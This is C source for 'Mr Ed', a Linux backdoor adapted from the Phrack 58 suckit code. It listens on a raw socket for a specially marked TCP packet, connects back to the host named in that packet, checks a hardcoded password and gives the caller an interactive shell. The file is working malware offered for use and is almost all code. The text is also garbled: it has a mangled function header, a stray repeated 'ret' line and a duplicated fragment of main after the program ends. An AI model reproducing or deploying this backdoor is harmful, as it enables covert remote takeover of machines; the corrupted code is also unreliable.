// (2002) s0t4ipv6@shellcode.com.ar
// Mr Ed. backdoor with password and packet identification.

/* copy&paste of the suckit backdoor published on phrack58 0x7
   coded by sd@sf.cz & devik@cdi.cz, 2001 */

#include <sys/wait.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <linux/unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>

#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <net/if.h>

#include <netdb.h>
#include <arpa/inet.h>
#include <stdio.h>

#define TIOCSCTTY       0x540E
#define TIOCSWINSZ      0x5414

#define BUF     	32768

#define	ulong		unsigned long
#define uchar		unsigned char
#define uint		unsigned int
#define	ushort		unsigned short

#define PASSWORD	"drogalatropa"
#define HOME 		"/tmp"
#define	ECHAR		0xb			// escape character
#ifndef RAWID
#define	RAWID           0xf00d600d
#endif

#define	BANNER		"mr.ed s0t4ipv6 backdoor of the phrack58x07\n"

struct ippkt {
        struct  	ip ip;
        struct  	tcphdr tcp;
        char    	something[12];
        char    	data[1024];
};
 
struct  rawdata {
        ulong   id;
        ulong   ip;
        ushort  port;
};
 
struct winsize {
        ushort ws_row;
        ushort ws_col;
        ushort ws_xpixel;
        ushort ws_ypixel;
};

/* create name tty/pty */
void    get_tty(int num, char *base, char *buf)
{
        char    series[] = "pqrstuvwxyzabcde";
        char    subs[] = "0123456789abcdef";
        int     pos = strlen(base);
        strcpy(buf, base);
        buf[pos] = series[(num >> 4) & 0xF];
        buf[pos+1] = subs[num & 0xF];
        buf[pos+2] = 0;
}

/* search and open tty free */
int     open_tty(int *tty, int *pty)
{
        char    buf[512];
        int     i, fd;

        fd = open("/dev/ptmx", O_RDWR, 0);
        close(fd);

        for (i=0; i < 256; i++) {
                get_tty(i, "/dev/pty", buf);
                *pty = open(buf, O_RDWR, 0);
                if (*pty < 0) continue;
                get_tty(i, "/dev/tty", buf);
                *tty = open(buf, O_RDWR, 0);
                if (*tty < 0) {
                        close(*pty);
                        continue;
                }
                return 1;
        }
        return 0;
}

/* avoid zombies creation;) */
void    sig_child(int i)
{
        signal(SIGCHLD, sig_child);
        waitpid(-1, NULL, WNOHANG);
}

void    hangout(int i)
{
        kill(0, SIGHUP);
        kill(0, SIGTERM);
}

void    fork_shell(int sock)
{
        int     subshell;
        int     tty;
        int     pty;
        fd_set  fds;
        char    buf[BUF];
        char    *argv[] = {"sh", "-i", NULL};
#define MAXENV  256
#define ENVLEN  256
        char    *envp[MAXENV];
        char    envbuf[(MAXENV+2) * ENVLEN];
        int     j, i;
        char    home[256];
        char    msg[] = "Can't fork pty, bye!\n";

        /* setup enviroment */
        envp[0] = home;
        sprintf(home, "HOME=%s", HOME);
        chdir(HOME);
        j = 0;
        do {
                i = read(sock, &envbuf[j * ENVLEN], ENVLEN);
                envp[j+1] = &envbuf[j * ENVLEN];
                j++;
                if ((j >= MAXENV) || (i < ENVLEN)) break;
        } while (envbuf[(j-1) * ENVLEN] != '\n');
        envp[j+1] = NULL;

        /* new group */
        setpgid(0, 0);
        /* create slave & master client of tty */
        if (!open_tty(&tty, &pty)) {
                write(sock, msg, strlen(msg));
                close(sock);
                exit(0);
        }
        /* fork child */
        subshell = fork();
        if (subshell == -1) {
                write(sock, msg, strlen(msg));
                close(sock);
                exit(0);
        }
        if (subshell == 0) {
                /* close master */
                close(pty);
                /* attach tty */
                setsid();
                ioctl(tty, TIOCSCTTY, NULL);
                /* close the local connection*/
                close(sock);
                signal(SIGHUP, SIG_DFL);
                signal(SIGCHLD, SIG_DFL);
                dup2(tty, 0);
                dup2(tty, 1);
                dup2(tty, 2);
                close(tty);
                execve("/bin/sh", argv, envp);
        }
        close(tty);
        signal(SIGHUP, hangout);
        signal(SIGTERM, hangout);

        write(sock, BANNER, strlen(BANNER));
        /* select loop */
        while (1) {
                FD_ZERO(&fds);
                FD_SET(pty, &fds);
                FD_SET(sock, &fds);
                if (select((pty > sock) ? (pty+1) : (sock+1),
                    &fds, NULL, NULL, NULL) < 0)
                    {
                        break;
                }

                /* pty => remote side */
                if (FD_ISSET(pty, &fds)) {
                        int     count;
                        count = read(pty, buf, BUF);
                        if (count <= 0) break;
                        if (write(sock, buf, count) <= 0) break;
                }

                /* remote side => pty */
                if (FD_ISSET(sock, &fds)) {
                        int     count;
                        uchar 	*p, *d;
                        d = buf;
                        count = read(sock, buf, BUF);
                        if (count <= 0) break;

                        /* configure win size */
                        p = memchr(buf, ECHAR, count);
                        if (p) {
                                uchar   wb[5];
                                int     rlen;
                                struct  winsize ws;
                                rlen = count - ((ulong) p - (ulong) buf);
                                /* wait */
                                if (rlen > 5) rlen = 5;
                                memcpy(wb, p, rlen);
                                if (rlen < 5) {
                                        read(sock, &wb[rlen], 5 - rlen);
                                }

                                /* configure win */
                                ws.ws_xpixel = ws.ws_ypixel = 0;
                                ws.ws_col = (wb[1] << 8) + wb[2];
                                ws.ws_row = (wb[3] << 8) + wb[4];
                                ioctl(pty, TIOCSWINSZ, &ws);
                                kill(0, SIGWINCH);

                                /* write  */
                                write(pty, buf, (ulong) p - (ulong) buf);
                                rlen =
                                  ((ulong) buf + count) - ((ulong)p+5);
                                if (rlen > 0) write(pty, p+5, rlen);
                        } else
                                if (write(pty, d, count) <= 0) break;
                } /* remote side => pty */
        } /* while */
        close(sock);
        close(pty);
        waitpid(subshell, NULL, 0);
        vhangup();
        exit(0);
}

void    connectushort port)
{
        int     sock;
        struct  sockaddr_in     cli;
        int     pid;

        pid = fork();
        if (pid == -1) return;
        if (pid == 0) {
                char    auth[256];
                sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (sock < 0) exit(0);

                bzero((char *) &cli, sizeof(cli));
                cli.sin_family = AF_INET;
                cli.sin_addr.s_addr = ip;
                cli.sin_port = port;
                if (connect(sock, (struct sockaddr *) &cli,
                    sizeof(cli)) < 0) {
                        close(sock);
                        exit(0);
                }
                if (read(sock, auth, sizeof(auth)) <= 0) {
                        close(sock);
                        exit(0);
                }
                if (strcmp(auth, PASSWORD) != 0) {
                        close(sock);
                        exit(0);
                }
                fork_shell(sock);
                close(sock);
                exit(0);
        }
}

int main() {
        int     pid;
        struct  sockaddr_in     serv;
        struct  sockaddr_in     cli;
        struct  sockaddr_in     raw;
        int     sock;

        sock = socket(AF_INET, SOCK_RAW, 6);
        if (sock < 0) {
                printf("Can't allocate raw socket (%d)\n", -errno);
                ret     ret     return 0;
        }

        bzero((char *) &raw, sizeof(raw));

        pid = fork();
        if (pid < 0) {
                printf("Cannot fork (%d)\n", -errno);
                return 0;
        }
        if (pid !=0 ) {
                printf("%d\n", pid);
                return pid;
        } 

        /* daemonize */
        setsid();
        chdir("/");
        pid = open("/dev/null", O_RDWR, 0);
        dup2(pid, 0);
        dup2(pid, 1);
        dup2(pid, 2);
        close(pid);
        signal(SIGHUP, SIG_IGN);
        signal(SIGTERM, SIG_IGN);
        signal(SIGPIPE, SIG_IGN);
        signal(SIGIO, SIG_IGN);
        signal(SIGCHLD, sig_child);
        while (1) {
                int     slen;
                struct  ippkt   packet;

                slen = sizeof(raw);
                bzero((char *) &packet, sizeof(packet));
                recvfrom(sock, (struct ippkt *) &packet, sizeof(packet), 0, (struct sockaddr *) &raw, &slen); 

                if ((!packet.tcp.ack) && (packet.tcp.urg == 1) &&
                     ( ((struct rawdata *) packet.data)->id == RAWID ) ) {
		     // if it is our packet then go go go.... ****
                     connect_back(((struct rawdata *) &packet.data)->ip, ((struct rawdata *) &packet.data)->port);
                }
        }
        exit(0);
}
p.ack) && (packet.tcp.urg == 1) &&
                     ( ((struct rawdata *) packet.data)->id == RAWID ) ) {
		     // if it is our packet then go go go.... ****
                     connect_back(((struct rawdata *) &packet.data)->ip, ((struct rawdata *) &packet.data)->port);
                }
        }
        exit(0);
}

